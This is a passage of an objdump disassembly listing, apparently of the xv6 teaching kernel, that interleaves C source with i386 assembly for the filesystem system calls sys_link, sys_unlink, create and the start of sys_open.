f4 lea -0xc(%ebp),%eax 80106516: 89 44 24 08 mov %eax,0x8(%esp) 8010651a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106521: 00 80106522: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106529: e8 7e fd ff ff call 801062ac <argfd> 8010652e: 85 c0 test %eax,%eax 80106530: 78 1f js 80106551 <sys_fstat+0x44> 80106532: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 80106539: 00 8010653a: 8d 45 f0 lea -0x10(%ebp),%eax 8010653d: 89 44 24 04 mov %eax,0x4(%esp) 80106541: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80106548: e8 37 fc ff ff call 80106184 <argptr> 8010654d: 85 c0 test %eax,%eax 8010654f: 79 07 jns 80106558 <sys_fstat+0x4b> return -1; 80106551: b8 ff ff ff ff mov $0xffffffff,%eax 80106556: eb 12 jmp 8010656a <sys_fstat+0x5d> return filestat(f, st); 80106558: 8b 55 f0 mov -0x10(%ebp),%edx 8010655b: 8b 45 f4 mov -0xc(%ebp),%eax 8010655e: 89 54 24 04 mov %edx,0x4(%esp) 80106562: 89 04 24 mov %eax,(%esp) 80106565: e8 6c b3 ff ff call 801018d6 <filestat> } 8010656a: c9 leave 8010656b: c3 ret 8010656c <sys_link>: // Create the path new as a link to the same inode as old. int sys_link(void) { 8010656c: 55 push %ebp 8010656d: 89 e5 mov %esp,%ebp 8010656f: 83 ec 38 sub $0x38,%esp char name[DIRSIZ], *new, *old; struct inode *dp, *ip; if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80106572: 8d 45 d8 lea -0x28(%ebp),%eax 80106575: 89 44 24 04 mov %eax,0x4(%esp) 80106579: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106580: e8 61 fc ff ff call 801061e6 <argstr> 80106585: 85 c0 test %eax,%eax 80106587: 78 17 js 801065a0 <sys_link+0x34> 80106589: 8d 45 dc lea -0x24(%ebp),%eax 8010658c: 89 44 24 04 mov %eax,0x4(%esp) 80106590: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80106597: e8 4a fc ff ff call 801061e6 <argstr> 8010659c: 85 c0 test %eax,%eax 8010659e: 79 0a jns 801065aa <sys_link+0x3e> return -1; 801065a0: b8 ff ff ff ff mov $0xffffffff,%eax 801065a5: e9 41 01 00 00 jmp 801066eb <sys_link+0x17f> begin_op(); 801065aa: e8 72 d7 ff ff call 80103d21 <begin_op> if((ip = namei(old)) == 0){ 801065af: 8b 45 d8 mov -0x28(%ebp),%eax 801065b2: 89 04 24 mov %eax,(%esp) 801065b5: e8 f3 c6 ff ff call 80102cad <namei> 801065ba: 89 45 f4 mov %eax,-0xc(%ebp) 801065bd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801065c1: 75 0f jne 801065d2 <sys_link+0x66> end_op(); 801065c3: e8 da d7 ff ff call 80103da2 <end_op> return -1; 801065c8: b8 ff ff ff ff mov $0xffffffff,%eax 801065cd: e9 19 01 00 00 jmp 801066eb <sys_link+0x17f> } ilock(ip); 801065d2: 8b 45 f4 mov -0xc(%ebp),%eax 801065d5: 89 04 24 mov %eax,(%esp) 801065d8: e8 28 bb ff ff call 80102105 <ilock> if(ip->type == T_DIR){ 801065dd: 8b 45 f4 mov -0xc(%ebp),%eax 801065e0: 0f b7 40 10 movzwl 0x10(%eax),%eax 801065e4: 66 83 f8 01 cmp $0x1,%ax 801065e8: 75 1a jne 80106604 <sys_link+0x98> iunlockput(ip); 801065ea: 8b 45 f4 mov -0xc(%ebp),%eax 801065ed: 89 04 24 mov %eax,(%esp) 801065f0: e8 9a bd ff ff call 8010238f <iunlockput> end_op(); 801065f5: e8 a8 d7 ff ff call 80103da2 <end_op> return -1; 801065fa: b8 ff ff ff ff mov $0xffffffff,%eax 801065ff: e9 e7 00 00 00 jmp 801066eb <sys_link+0x17f> } ip->nlink++; 80106604: 8b 45 f4 mov -0xc(%ebp),%eax 80106607: 0f b7 40 16 movzwl 0x16(%eax),%eax 8010660b: 8d 50 01 lea 0x1(%eax),%edx 8010660e: 8b 45 f4 mov -0xc(%ebp),%eax 80106611: 66 89 50 16 mov %dx,0x16(%eax) iupdate(ip); 80106615: 8b 45 f4 mov -0xc(%ebp),%eax 80106618: 89 04 24 mov %eax,(%esp) 8010661b: e8 23 b9 ff ff call 80101f43 <iupdate> iunlock(ip); 80106620: 8b 45 f4 mov -0xc(%ebp),%eax 80106623: 89 04 24 mov %eax,(%esp) 80106626: e8 2e bc ff ff call 80102259 <iunlock> if((dp = nameiparent(new, name)) == 0) 8010662b: 8b 45 dc mov -0x24(%ebp),%eax 8010662e: 8d 55 e2 lea -0x1e(%ebp),%edx 80106631: 89 54 24 04 mov %edx,0x4(%esp) 80106635: 89 04 24 mov %eax,(%esp) 80106638: e8 92 c6 ff ff call 80102ccf <nameiparent> 8010663d: 89 45 f0 mov %eax,-0x10(%ebp) 80106640: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106644: 74 68 je 801066ae <sys_link+0x142> goto bad; ilock(dp); 80106646: 8b 45 f0 mov -0x10(%ebp),%eax 80106649: 89 04 24 mov %eax,(%esp) 8010664c: e8 b4 ba ff ff call 80102105 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80106651: 8b 45 f0 mov -0x10(%ebp),%eax 80106654: 8b 10 mov (%eax),%edx 80106656: 8b 45 f4 mov -0xc(%ebp),%eax 80106659: 8b 00 mov (%eax),%eax 8010665b: 39 c2 cmp %eax,%edx 8010665d: 75 20 jne 8010667f <sys_link+0x113> 8010665f: 8b 45 f4 mov -0xc(%ebp),%eax 80106662: 8b 40 04 mov 0x4(%eax),%eax 80106665: 89 44 24 08 mov %eax,0x8(%esp) 80106669: 8d 45 e2 lea -0x1e(%ebp),%eax 8010666c: 89 44 24 04 mov %eax,0x4(%esp) 80106670: 8b 45 f0 mov -0x10(%ebp),%eax 80106673: 89 04 24 mov %eax,(%esp) 80106676: e8 71 c3 ff ff call 801029ec <dirlink> 8010667b: 85 c0 test %eax,%eax 8010667d: 79 0d jns 8010668c <sys_link+0x120> iunlockput(dp); 8010667f: 8b 45 f0 mov -0x10(%ebp),%eax 80106682: 89 04 24 mov %eax,(%esp) 80106685: e8 05 bd ff ff call 8010238f <iunlockput> goto bad; 8010668a: eb 23 jmp 801066af <sys_link+0x143> } iunlockput(dp); 8010668c: 8b 45 f0 mov -0x10(%ebp),%eax 8010668f: 89 04 24 mov %eax,(%esp) 80106692: e8 f8 bc ff ff call 8010238f <iunlockput> iput(ip); 80106697: 8b 45 f4 mov -0xc(%ebp),%eax 8010669a: 89 04 24 mov %eax,(%esp) 8010669d: e8 1c bc ff ff call 801022be <iput> end_op(); 801066a2: e8 fb d6 ff ff call 80103da2 <end_op> return 0; 801066a7: b8 00 00 00 00 mov $0x0,%eax 801066ac: eb 3d jmp 801066eb <sys_link+0x17f> ip->nlink++; iupdate(ip); iunlock(ip); if((dp = nameiparent(new, name)) == 0) goto bad; 801066ae: 90 nop end_op(); return 0; bad: ilock(ip); 801066af: 8b 45 f4 mov -0xc(%ebp),%eax 801066b2: 89 04 24 mov %eax,(%esp) 801066b5: e8 4b ba ff ff call 80102105 <ilock> ip->nlink--; 801066ba: 8b 45 f4 mov -0xc(%ebp),%eax 801066bd: 0f b7 40 16 movzwl 0x16(%eax),%eax 801066c1: 8d 50 ff lea -0x1(%eax),%edx 801066c4: 8b 45 f4 mov -0xc(%ebp),%eax 801066c7: 66 89 50 16 mov %dx,0x16(%eax) iupdate(ip); 801066cb: 8b 45 f4 mov -0xc(%ebp),%eax 801066ce: 89 04 24 mov %eax,(%esp) 801066d1: e8 6d b8 ff ff call 80101f43 <iupdate> iunlockput(ip); 801066d6: 8b 45 f4 mov -0xc(%ebp),%eax 801066d9: 89 04 24 mov %eax,(%esp) 801066dc: e8 ae bc ff ff call 8010238f <iunlockput> end_op(); 801066e1: e8 bc d6 ff ff call 80103da2 <end_op> return -1; 801066e6: b8 ff ff ff ff mov $0xffffffff,%eax } 801066eb: c9 leave 801066ec: c3 ret 801066ed <isdirempty>: // Is the directory dp empty except for "." and ".." ? static int isdirempty(struct inode *dp) { 801066ed: 55 push %ebp 801066ee: 89 e5 mov %esp,%ebp 801066f0: 83 ec 38 sub $0x38,%esp int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 801066f3: c7 45 f4 20 00 00 00 movl $0x20,-0xc(%ebp) 801066fa: eb 4b jmp 80106747 <isdirempty+0x5a> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 801066fc: 8b 45 f4 mov -0xc(%ebp),%eax 801066ff: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80106706: 00 80106707: 89 44 24 08 mov %eax,0x8(%esp) 8010670b: 8d 45 e4 lea -0x1c(%ebp),%eax 8010670e: 89 44 24 04 mov %eax,0x4(%esp) 80106712: 8b 45 08 mov 0x8(%ebp),%eax 80106715: 89 04 24 mov %eax,(%esp) 80106718: e8 e4 be ff ff call 80102601 <readi> 8010671d: 83 f8 10 cmp $0x10,%eax 80106720: 74 0c je 8010672e <isdirempty+0x41> panic("isdirempty: readi"); 80106722: c7 04 24 13 97 10 80 movl $0x80109713,(%esp) 80106729: e8 0f 9e ff ff call 8010053d <panic> if(de.inum != 0) 8010672e: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax 80106732: 66 85 c0 test %ax,%ax 80106735: 74 07 je 8010673e <isdirempty+0x51> return 0; 80106737: b8 00 00 00 00 mov $0x0,%eax 8010673c: eb 1b jmp 80106759 <isdirempty+0x6c> isdirempty(struct inode *dp) { int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 8010673e: 8b 45 f4 mov -0xc(%ebp),%eax 80106741: 83 c0 10 add $0x10,%eax 80106744: 89 45 f4 mov %eax,-0xc(%ebp) 80106747: 8b 55 f4 mov -0xc(%ebp),%edx 8010674a: 8b 45 08 mov 0x8(%ebp),%eax 8010674d: 8b 40 18 mov 0x18(%eax),%eax 80106750: 39 c2 cmp %eax,%edx 80106752: 72 a8 jb 801066fc <isdirempty+0xf> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("isdirempty: readi"); if(de.inum != 0) return 0; } return 1; 80106754: b8 01 00 00 00 mov $0x1,%eax } 80106759: c9 leave 8010675a: c3 ret 8010675b <sys_unlink>: //PAGEBREAK! int sys_unlink(void) { 8010675b: 55 push %ebp 8010675c: 89 e5 mov %esp,%ebp 8010675e: 83 ec 48 sub $0x48,%esp struct inode *ip, *dp; struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) 80106761: 8d 45 cc lea -0x34(%ebp),%eax 80106764: 89 44 24 04 mov %eax,0x4(%esp) 80106768: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010676f: e8 72 fa ff ff call 801061e6 <argstr> 80106774: 85 c0 test %eax,%eax 80106776: 79 0a jns 80106782 <sys_unlink+0x27> return -1; 80106778: b8 ff ff ff ff mov $0xffffffff,%eax 8010677d: e9 af 01 00 00 jmp 80106931 <sys_unlink+0x1d6> begin_op(); 80106782: e8 9a d5 ff ff call 80103d21 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80106787: 8b 45 cc mov -0x34(%ebp),%eax 8010678a: 8d 55 d2 lea -0x2e(%ebp),%edx 8010678d: 89 54 24 04 mov %edx,0x4(%esp) 80106791: 89 04 24 mov %eax,(%esp) 80106794: e8 36 c5 ff ff call 80102ccf <nameiparent> 80106799: 89 45 f4 mov %eax,-0xc(%ebp) 8010679c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801067a0: 75 0f jne 801067b1 <sys_unlink+0x56> end_op(); 801067a2: e8 fb d5 ff ff call 80103da2 <end_op> return -1; 801067a7: b8 ff ff ff ff mov $0xffffffff,%eax 801067ac: e9 80 01 00 00 jmp 80106931 <sys_unlink+0x1d6> } ilock(dp); 801067b1: 8b 45 f4 mov -0xc(%ebp),%eax 801067b4: 89 04 24 mov %eax,(%esp) 801067b7: e8 49 b9 ff ff call 80102105 <ilock> // Cannot unlink "." or "..". if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 801067bc: c7 44 24 04 25 97 10 movl $0x80109725,0x4(%esp) 801067c3: 80 801067c4: 8d 45 d2 lea -0x2e(%ebp),%eax 801067c7: 89 04 24 mov %eax,(%esp) 801067ca: e8 33 c1 ff ff call 80102902 <namecmp> 801067cf: 85 c0 test %eax,%eax 801067d1: 0f 84 45 01 00 00 je 8010691c <sys_unlink+0x1c1> 801067d7: c7 44 24 04 27 97 10 movl $0x80109727,0x4(%esp) 801067de: 80 801067df: 8d 45 d2 lea -0x2e(%ebp),%eax 801067e2: 89 04 24 mov %eax,(%esp) 801067e5: e8 18 c1 ff ff call 80102902 <namecmp> 801067ea: 85 c0 test %eax,%eax 801067ec: 0f 84 2a 01 00 00 je 8010691c <sys_unlink+0x1c1> goto bad; if((ip = dirlookup(dp, name, &off)) == 0) 801067f2: 8d 45 c8 lea -0x38(%ebp),%eax 801067f5: 89 44 24 08 mov %eax,0x8(%esp) 801067f9: 8d 45 d2 lea -0x2e(%ebp),%eax 801067fc: 89 44 24 04 mov %eax,0x4(%esp) 80106800: 8b 45 f4 mov -0xc(%ebp),%eax 80106803: 89 04 24 mov %eax,(%esp) 80106806: e8 19 c1 ff ff call 80102924 <dirlookup> 8010680b: 89 45 f0 mov %eax,-0x10(%ebp) 8010680e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106812: 0f 84 03 01 00 00 je 8010691b <sys_unlink+0x1c0> goto bad; ilock(ip); 80106818: 8b 45 f0 mov -0x10(%ebp),%eax 8010681b: 89 04 24 mov %eax,(%esp) 8010681e: e8 e2 b8 ff ff call 80102105 <ilock> if(ip->nlink < 1) 80106823: 8b 45 f0 mov -0x10(%ebp),%eax 80106826: 0f b7 40 16 movzwl 0x16(%eax),%eax 8010682a: 66 85 c0 test %ax,%ax 8010682d: 7f 0c jg 8010683b <sys_unlink+0xe0> panic("unlink: nlink < 1"); 8010682f: c7 04 24 2a 97 10 80 movl $0x8010972a,(%esp) 80106836: e8 02 9d ff ff call 8010053d <panic> if(ip->type == T_DIR && !isdirempty(ip)){ 8010683b: 8b 45 f0 mov -0x10(%ebp),%eax 8010683e: 0f b7 40 10 movzwl 0x10(%eax),%eax 80106842: 66 83 f8 01 cmp $0x1,%ax 80106846: 75 1f jne 80106867 <sys_unlink+0x10c> 80106848: 8b 45 f0 mov -0x10(%ebp),%eax 8010684b: 89 04 24 mov %eax,(%esp) 8010684e: e8 9a fe ff ff call 801066ed <isdirempty> 80106853: 85 c0 test %eax,%eax 80106855: 75 10 jne 80106867 <sys_unlink+0x10c> iunlockput(ip); 80106857: 8b 45 f0 mov -0x10(%ebp),%eax 8010685a: 89 04 24 mov %eax,(%esp) 8010685d: e8 2d bb ff ff call 8010238f <iunlockput> goto bad; 80106862: e9 b5 00 00 00 jmp 8010691c <sys_unlink+0x1c1> } memset(&de, 0, sizeof(de)); 80106867: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 8010686e: 00 8010686f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106876: 00 80106877: 8d 45 e0 lea -0x20(%ebp),%eax 8010687a: 89 04 24 mov %eax,(%esp) 8010687d: e8 78 f5 ff ff call 80105dfa <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80106882: 8b 45 c8 mov -0x38(%ebp),%eax 80106885: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 8010688c: 00 8010688d: 89 44 24 08 mov %eax,0x8(%esp) 80106891: 8d 45 e0 lea -0x20(%ebp),%eax 80106894: 89 44 24 04 mov %eax,0x4(%esp) 80106898: 8b 45 f4 mov -0xc(%ebp),%eax 8010689b: 89 04 24 mov %eax,(%esp) 8010689e: e8 c9 be ff ff call 8010276c <writei> 801068a3: 83 f8 10 cmp $0x10,%eax 801068a6: 74 0c je 801068b4 <sys_unlink+0x159> panic("unlink: writei"); 801068a8: c7 04 24 3c 97 10 80 movl $0x8010973c,(%esp) 801068af: e8 89 9c ff ff call 8010053d <panic> if(ip->type == T_DIR){ 801068b4: 8b 45 f0 mov -0x10(%ebp),%eax 801068b7: 0f b7 40 10 movzwl 0x10(%eax),%eax 801068bb: 66 83 f8 01 cmp $0x1,%ax 801068bf: 75 1c jne 801068dd <sys_unlink+0x182> dp->nlink--; 801068c1: 8b 45 f4 mov -0xc(%ebp),%eax 801068c4: 0f b7 40 16 movzwl 0x16(%eax),%eax 801068c8: 8d 50 ff lea -0x1(%eax),%edx 801068cb: 8b 45 f4 mov -0xc(%ebp),%eax 801068ce: 66 89 50 16 mov %dx,0x16(%eax) iupdate(dp); 801068d2: 8b 45 f4 mov -0xc(%ebp),%eax 801068d5: 89 04 24 mov %eax,(%esp) 801068d8: e8 66 b6 ff ff call 80101f43 <iupdate> } iunlockput(dp); 801068dd: 8b 45 f4 mov -0xc(%ebp),%eax 801068e0: 89 04 24 mov %eax,(%esp) 801068e3: e8 a7 ba ff ff call 8010238f <iunlockput> ip->nlink--; 801068e8: 8b 45 f0 mov -0x10(%ebp),%eax 801068eb: 0f b7 40 16 movzwl 0x16(%eax),%eax 801068ef: 8d 50 ff lea -0x1(%eax),%edx 801068f2: 8b 45 f0 mov -0x10(%ebp),%eax 801068f5: 66 89 50 16 mov %dx,0x16(%eax) iupdate(ip); 801068f9: 8b 45 f0 mov -0x10(%ebp),%eax 801068fc: 89 04 24 mov %eax,(%esp) 801068ff: e8 3f b6 ff ff call 80101f43 <iupdate> iunlockput(ip); 80106904: 8b 45 f0 mov -0x10(%ebp),%eax 80106907: 89 04 24 mov %eax,(%esp) 8010690a: e8 80 ba ff ff call 8010238f <iunlockput> end_op(); 8010690f: e8 8e d4 ff ff call 80103da2 <end_op> return 0; 80106914: b8 00 00 00 00 mov $0x0,%eax 80106919: eb 16 jmp 80106931 <sys_unlink+0x1d6> // Cannot unlink "." or "..". if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) goto bad; if((ip = dirlookup(dp, name, &off)) == 0) goto bad; 8010691b: 90 nop end_op(); return 0; bad: iunlockput(dp); 8010691c: 8b 45 f4 mov -0xc(%ebp),%eax 8010691f: 89 04 24 mov %eax,(%esp) 80106922: e8 68 ba ff ff call 8010238f <iunlockput> end_op(); 80106927: e8 76 d4 ff ff call 80103da2 <end_op> return -1; 8010692c: b8 ff ff ff ff mov $0xffffffff,%eax } 80106931: c9 leave 80106932: c3 ret 80106933 <create>: static struct inode* create(char *path, short type, short major, short minor) { 80106933: 55 push %ebp 80106934: 89 e5 mov %esp,%ebp 80106936: 83 ec 48 sub $0x48,%esp 80106939: 8b 4d 0c mov 0xc(%ebp),%ecx 8010693c: 8b 55 10 mov 0x10(%ebp),%edx 8010693f: 8b 45 14 mov 0x14(%ebp),%eax 80106942: 66 89 4d d4 mov %cx,-0x2c(%ebp) 80106946: 66 89 55 d0 mov %dx,-0x30(%ebp) 8010694a: 66 89 45 cc mov %ax,-0x34(%ebp) uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 8010694e: 8d 45 de lea -0x22(%ebp),%eax 80106951: 89 44 24 04 mov %eax,0x4(%esp) 80106955: 8b 45 08 mov 0x8(%ebp),%eax 80106958: 89 04 24 mov %eax,(%esp) 8010695b: e8 6f c3 ff ff call 80102ccf <nameiparent> 80106960: 89 45 f4 mov %eax,-0xc(%ebp) 80106963: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106967: 75 0a jne 80106973 <create+0x40> return 0; 80106969: b8 00 00 00 00 mov $0x0,%eax 8010696e: e9 7e 01 00 00 jmp 80106af1 <create+0x1be> ilock(dp); 80106973: 8b 45 f4 mov -0xc(%ebp),%eax 80106976: 89 04 24 mov %eax,(%esp) 80106979: e8 87 b7 ff ff call 80102105 <ilock> if((ip = dirlookup(dp, name, &off)) != 0){ 8010697e: 8d 45 ec lea -0x14(%ebp),%eax 80106981: 89 44 24 08 mov %eax,0x8(%esp) 80106985: 8d 45 de lea -0x22(%ebp),%eax 80106988: 89 44 24 04 mov %eax,0x4(%esp) 8010698c: 8b 45 f4 mov -0xc(%ebp),%eax 8010698f: 89 04 24 mov %eax,(%esp) 80106992: e8 8d bf ff ff call 80102924 <dirlookup> 80106997: 89 45 f0 mov %eax,-0x10(%ebp) 8010699a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8010699e: 74 47 je 801069e7 <create+0xb4> iunlockput(dp); 801069a0: 8b 45 f4 mov -0xc(%ebp),%eax 801069a3: 89 04 24 mov %eax,(%esp) 801069a6: e8 e4 b9 ff ff call 8010238f <iunlockput> ilock(ip); 801069ab: 8b 45 f0 mov -0x10(%ebp),%eax 801069ae: 89 04 24 mov %eax,(%esp) 801069b1: e8 4f b7 ff ff call 80102105 <ilock> if(type == T_FILE && ip->type == T_FILE) 801069b6: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp) 801069bb: 75 15 jne 801069d2 <create+0x9f> 801069bd: 8b 45 f0 mov -0x10(%ebp),%eax 801069c0: 0f b7 40 10 movzwl 0x10(%eax),%eax 801069c4: 66 83 f8 02 cmp $0x2,%ax 801069c8: 75 08 jne 801069d2 <create+0x9f> return ip; 801069ca: 8b 45 f0 mov -0x10(%ebp),%eax 801069cd: e9 1f 01 00 00 jmp 80106af1 <create+0x1be> iunlockput(ip); 801069d2: 8b 45 f0 mov -0x10(%ebp),%eax 801069d5: 89 04 24 mov %eax,(%esp) 801069d8: e8 b2 b9 ff ff call 8010238f <iunlockput> return 0; 801069dd: b8 00 00 00 00 mov $0x0,%eax 801069e2: e9 0a 01 00 00 jmp 80106af1 <create+0x1be> } if((ip = ialloc(dp->dev, type)) == 0) 801069e7: 0f bf 55 d4 movswl -0x2c(%ebp),%edx 801069eb: 8b 45 f4 mov -0xc(%ebp),%eax 801069ee: 8b 00 mov (%eax),%eax 801069f0: 89 54 24 04 mov %edx,0x4(%esp) 801069f4: 89 04 24 mov %eax,(%esp) 801069f7: e8 74 b4 ff ff call 80101e70 <ialloc> 801069fc: 89 45 f0 mov %eax,-0x10(%ebp) 801069ff: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106a03: 75 0c jne 80106a11 <create+0xde> panic("create: ialloc"); 80106a05: c7 04 24 4b 97 10 80 movl $0x8010974b,(%esp) 80106a0c: e8 2c 9b ff ff call 8010053d <panic> ilock(ip); 80106a11: 8b 45 f0 mov -0x10(%ebp),%eax 80106a14: 89 04 24 mov %eax,(%esp) 80106a17: e8 e9 b6 ff ff call 80102105 <ilock> ip->major = major; 80106a1c: 8b 45 f0 mov -0x10(%ebp),%eax 80106a1f: 0f b7 55 d0 movzwl -0x30(%ebp),%edx 80106a23: 66 89 50 12 mov %dx,0x12(%eax) ip->minor = minor; 80106a27: 8b 45 f0 mov -0x10(%ebp),%eax 80106a2a: 0f b7 55 cc movzwl -0x34(%ebp),%edx 80106a2e: 66 89 50 14 mov %dx,0x14(%eax) ip->nlink = 1; 80106a32: 8b 45 f0 mov -0x10(%ebp),%eax 80106a35: 66 c7 40 16 01 00 movw $0x1,0x16(%eax) iupdate(ip); 80106a3b: 8b 45 f0 mov -0x10(%ebp),%eax 80106a3e: 89 04 24 mov %eax,(%esp) 80106a41: e8 fd b4 ff ff call 80101f43 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80106a46: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp) 80106a4b: 75 6a jne 80106ab7 <create+0x184> dp->nlink++; // for ".." 80106a4d: 8b 45 f4 mov -0xc(%ebp),%eax 80106a50: 0f b7 40 16 movzwl 0x16(%eax),%eax 80106a54: 8d 50 01 lea 0x1(%eax),%edx 80106a57: 8b 45 f4 mov -0xc(%ebp),%eax 80106a5a: 66 89 50 16 mov %dx,0x16(%eax) iupdate(dp); 80106a5e: 8b 45 f4 mov -0xc(%ebp),%eax 80106a61: 89 04 24 mov %eax,(%esp) 80106a64: e8 da b4 ff ff call 80101f43 <iupdate> // No ip->nlink++ for ".": avoid cyclic ref count. if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 80106a69: 8b 45 f0 mov -0x10(%ebp),%eax 80106a6c: 8b 40 04 mov 0x4(%eax),%eax 80106a6f: 89 44 24 08 mov %eax,0x8(%esp) 80106a73: c7 44 24 04 25 97 10 movl $0x80109725,0x4(%esp) 80106a7a: 80 80106a7b: 8b 45 f0 mov -0x10(%ebp),%eax 80106a7e: 89 04 24 mov %eax,(%esp) 80106a81: e8 66 bf ff ff call 801029ec <dirlink> 80106a86: 85 c0 test %eax,%eax 80106a88: 78 21 js 80106aab <create+0x178> 80106a8a: 8b 45 f4 mov -0xc(%ebp),%eax 80106a8d: 8b 40 04 mov 0x4(%eax),%eax 80106a90: 89 44 24 08 mov %eax,0x8(%esp) 80106a94: c7 44 24 04 27 97 10 movl $0x80109727,0x4(%esp) 80106a9b: 80 80106a9c: 8b 45 f0 mov -0x10(%ebp),%eax 80106a9f: 89 04 24 mov %eax,(%esp) 80106aa2: e8 45 bf ff ff call 801029ec <dirlink> 80106aa7: 85 c0 test %eax,%eax 80106aa9: 79 0c jns 80106ab7 <create+0x184> panic("create dots"); 80106aab: c7 04 24 5a 97 10 80 movl $0x8010975a,(%esp) 80106ab2: e8 86 9a ff ff call 8010053d <panic> } if(dirlink(dp, name, ip->inum) < 0) 80106ab7: 8b 45 f0 mov -0x10(%ebp),%eax 80106aba: 8b 40 04 mov 0x4(%eax),%eax 80106abd: 89 44 24 08 mov %eax,0x8(%esp) 80106ac1: 8d 45 de lea -0x22(%ebp),%eax 80106ac4: 89 44 24 04 mov %eax,0x4(%esp) 80106ac8: 8b 45 f4 mov -0xc(%ebp),%eax 80106acb: 89 04 24 mov %eax,(%esp) 80106ace: e8 19 bf ff ff call 801029ec <dirlink> 80106ad3: 85 c0 test %eax,%eax 80106ad5: 79 0c jns 80106ae3 <create+0x1b0> panic("create: dirlink"); 80106ad7: c7 04 24 66 97 10 80 movl $0x80109766,(%esp) 80106ade: e8 5a 9a ff ff call 8010053d <panic> iunlockput(dp); 80106ae3: 8b 45 f4 mov -0xc(%ebp),%eax 80106ae6: 89 04 24 mov %eax,(%esp) 80106ae9: e8 a1 b8 ff ff call 8010238f <iunlockput> return ip; 80106aee: 8b 45 f0 mov -0x10(%ebp),%eax } 80106af1: c9 leave 80106af2: c3 ret 80106af3 <sys_open>: int sys_open(void) { 80106af3: 55 push %ebp 80106af4: 89 e5 mov %esp,%ebp 80106af6: 83 ec 38 sub $0x38,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80106af9: 8d 45 e8 lea -0x18(%ebp),%eax 80106afc: 89 44 24 04 mov %eax,0x4(%esp) 80106b00: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106b07: e8 da f6 ff ff call 801061e6 <argstr> 80106b0c: 85 c0 test %eax,%eax 80106b0e: 78 17 js 80106b27 <sys_open+0x34> 80106b10: 8d 45 e4 lea -0x1c(%ebp),%eax 80106b13: 89 44 24 04 mov %eax,0x4(%esp) 80106b17: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80106b1e: e8 33 f6 ff ff call 80106156 <argint> 80106b23: 85 c0 test %eax,%eax 80106b25: 79 0a jns 80106b31 <sys_open+0x3e> return -1; 80106b27: b8 ff ff ff ff mov $0xffffffff,%eax 80106b2c: e9 5a 01 00 00 jmp 80106c8b <sys_open+0x198> begin_op(); 80106b31: e8 eb d1 ff ff call 80103d21 <begin_op> if(omode & O_CREATE){ 80106b36: 8b 45 e4 mov -0x1c(%ebp),%eax 80106b39: 25 00 02 00 00 and $0x200,%eax 80106b3e: 85 c0 test %eax,%eax 80106b40: 74 3b je 80106b7d <sys_open+0x8a> ip = create(path, T_FILE, 0, 0); 80106b42: 8b 45 e8 mov -0x18(%ebp),%eax 80106b45: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 80106b4c: 00 80106b4d: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80106b54: 00 80106b55: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp) 80106b5c: 00 80106b5d: 89 04 24 mov %eax,(%esp) 80106b60: e8 ce fd ff ff call 80106933 <create> 80106b65: 89 45 f4 mov %eax,-0xc(%ebp) if(ip == 0){ 80106b68: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106b6c: 75 6b jne 80106bd9 <sys_open+0xe6> end_op(); 80106b6e: e8 2f d2 ff ff call 80103da2 <end_op> return -1; 80106b73: b8 ff ff ff ff mov $0xffffffff,%eax 80106b78: e9 0e 01 00 00 jmp 80106c8b <sys_open+0x198> } } else { if((ip = namei(path)) == 0){ 80106b7d: 8b 45 e8 mov -0x18(%ebp),%eax 80106b80: 89 04 24 mov %eax,(%esp) 80106b83: e8 25 c1 ff ff call 80102cad <namei> 80106b88: 89 45 f4 mov %eax,-0xc(%ebp) 80106b8b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106b8f: 75 0f jne 80106ba0 <sys_open+0xad> end_op(); 80106b91: e8 0c d2 ff ff call 80103da2 <end_op> return -1; 80106b96: b8 ff ff ff ff mov $0xffffffff,%eax 80106b9b: e9 eb 00 00 00 jmp 80106c8b <sys_open+0x198> } ilock(ip); 80106ba0: 8b 45 f4 mov -0xc(%ebp),%eax 80106ba3: 89 04 24 mov %eax,(%esp) 80106ba6: e8 5a b5 ff ff call 80102105 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80106bab: 8b 45 f4 mov 